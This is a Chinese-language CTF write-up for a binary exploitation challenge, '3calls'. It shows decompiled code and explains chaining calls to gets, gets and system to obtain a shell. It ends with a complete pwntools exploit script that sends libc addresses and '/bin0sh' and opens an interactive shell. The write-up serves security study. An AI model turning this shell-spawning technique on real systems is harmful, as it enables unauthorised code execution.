3calls
这题的调试是个问题 比赛的时候一直卡在调试 赛后看了wp 才意识到 原来是另外一个进程导致的调试失败 只要在ida里把check函数改成nop就行了
int __cdecl main(int argc, const char **argv, const char **envp) { int i; int j;
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); libc = (__int64)(&printf - 49390); printf("gift: %p\n", &printf - 49390); for ( i = 0; i <= 2; ++i ) read(0, &F[i], 8uLL); check(); puts("good job!"); for ( j = 0; j <= 2; ++j ) F[j](); return 0; }
|
直接给了libc基址 同时可以输入3个字长 并且对这三个字长进行检查 跟进一下check函数
unsigned __int64 check() { int v0; int i; int j; FILE *stream; int v5; int v6; int v7; char v8[96]; char s2[40]; unsigned __int64 v10;
v10 = __readfsqword(0x28u); v5 = 0; v6 = 0; v7 = 0; for ( i = 0; i <= 2; ++i ) sprintf(&v8[32 * i], "%016llx", (char *)F[i] - libc); stream = popen(cmd, "r"); if ( (__int64)stream <= 0 ) { puts("popen failed!"); exit(-1); } while ( (unsigned int)__isoc99_fscanf(stream, "%s", s2) != -1 ) { for ( j = 0; j <= 2; ++j ) { v0 = *(&v5 + j); *(&v5 + j) = (strcmp(&v8[32 * j], s2) == 0) | v0; } } pclose(stream); if ( (v6 & v5 & v7) == 0 ) { puts("Not libc symbols!"); exit(-1); } return v10 - __readfsqword(0x28u); }
|
重点注意一下这一句stream = popen(cmd, “r”);
popen可以调用shell命令 并且获取其返回值 那么看一下cmd指令是什么 然后直接丢到我们虚拟机里的shell执行一下 大概就知道check是干啥的
返回值是一大串偏移量 应该很明显看的出来是libc函数的偏移量 加上下面的for循环 所以可以得到check函数是检测输入的三个字长是否是libc函数
调用三次函数来获取shell 那么肯定要用到system函数 至于rdi参数要怎么操控 那么只能采用输入函数了
read scanf gets 这些常见的函数 参数构造最容易的就是gets了 并且其输入的地址也是由rdi决定 如果输入/bin/sh 那么rdi参数就是/bin/sh字符串
不过你直接打断点调试行不通的 popen函数会产生新的进程 影响我们gdb调试 所以我们直接在ida里面把call check改了
可以看到gets函数rdi参数是一个可写可读的地址 那这样就方便了 我们直接读入/bin/sh字符串 但是很快就会发现程序EOF了
EOF的原因比较复杂 我也只是调试了一点点出来 很多地方还是不懂 权当听个大概吧
出问题的就在这个判断 导致进入了__lll_lock_wait_private函数 这个函数的具体用处我也不是很清楚 反正执行的后果就是当前进程会被挂起 也就导致了我们的程序无法继续执行了 也有想过绕过 但是貌似就算相等也过不去 ZF标志位还是为0
最后的解决办法跟我们的gets函数执行逻辑有关系 其会先调用这个函数
这个函数的本质是通过read来输入字节 不过每次只有1字节 随后每次接收完以后进行判断 如果为\n就停止gets
所以我们直接输入\n 就不会执行到后面的__lll_lock_wait_private
随后我们再次调用gets函数就正常了 也是很神奇 不知道为啥 但是你会发现最后system执行的参数为/bin.sh
还是需要动调看一下 问题出在gets函数的最后几步
自己看看应该也能懂 这样就不多说了 最后直接system就行了
from pwn import* from ctypes import * io = process("./pwn")
elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6")
context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
io.recvuntil("gift: 0x") libc_addr = int(io.recv(12),16) success("libc_addr :"+hex(libc_addr)) gets_addr = libc_addr + libc.sym['gets'] system_addr = libc_addr + libc.sym['system'] read_addr = libc_addr + libc.sym['read'] io.send(p64(gets_addr)) io.send(p64(gets_addr)) io.send(p64(system_addr))
io.send(b'\n')
io.sendline(b'/bin0sh')
io.interactive()
|